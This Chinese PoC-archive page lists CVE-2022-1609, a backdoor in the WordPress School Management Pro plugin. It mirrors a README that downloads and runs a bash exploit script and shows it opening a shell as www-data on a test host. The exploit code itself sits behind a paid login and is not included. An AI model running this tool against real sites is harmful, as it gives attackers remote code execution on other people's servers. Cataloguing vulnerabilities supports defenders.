目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1336

100%

CVE-2022-1609 PoC — School Management Pro 代码注入漏洞

来源
关联漏洞
标题: School Management Pro 代码注入漏洞 (CVE-2022-1609)
Description:weblizar School Management Pro是印度weblizar公司的一个 WordPress 插件。用于管理学校及其实体。 School Management Pro 6.0版本至9.9.6版本存在代码注入漏洞,该漏洞源于 REST API 中的模糊后门问题,远程攻击者利用该漏洞可在目标系统上执行任意代码。
Description
Bash poc for CVE-2022-1609 WordPress Weblizar  Backdoor
介绍
# CVE-2022-1609
Bash poc for CVE-2022-1609 WordPress Weblizar  Backdoor

# How to install ?

```
wget https://raw.githubusercontent.com/NullBrunk/CVE-2022-1609/main/exploit.sh
chmod +x exploit.sh
./exploit.sh
```

# How to use it ?

```bash
NullBrunk$ ./exploit.sh http://127.0.0.1:8080
[+]  Targeting http://127.0.0.1:8080
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ whoami
www-data

```
文件快照

登录后查看神龙缓存的 POC 文件快照

登录查看
备注
    1. 建议优先通过来源进行访问。
    2. 本地 POC 快照面向订阅用户开放;当原始来源失效或无法访问时,本地镜像作为订阅权益的一部分提供。
    3. 持续抓取、验证、维护这份 POC 档案需要不少投入,因此本地快照已纳入付费订阅。您的订阅是让这份资料能继续走下去的关键,由衷感谢。 查看订阅方案 →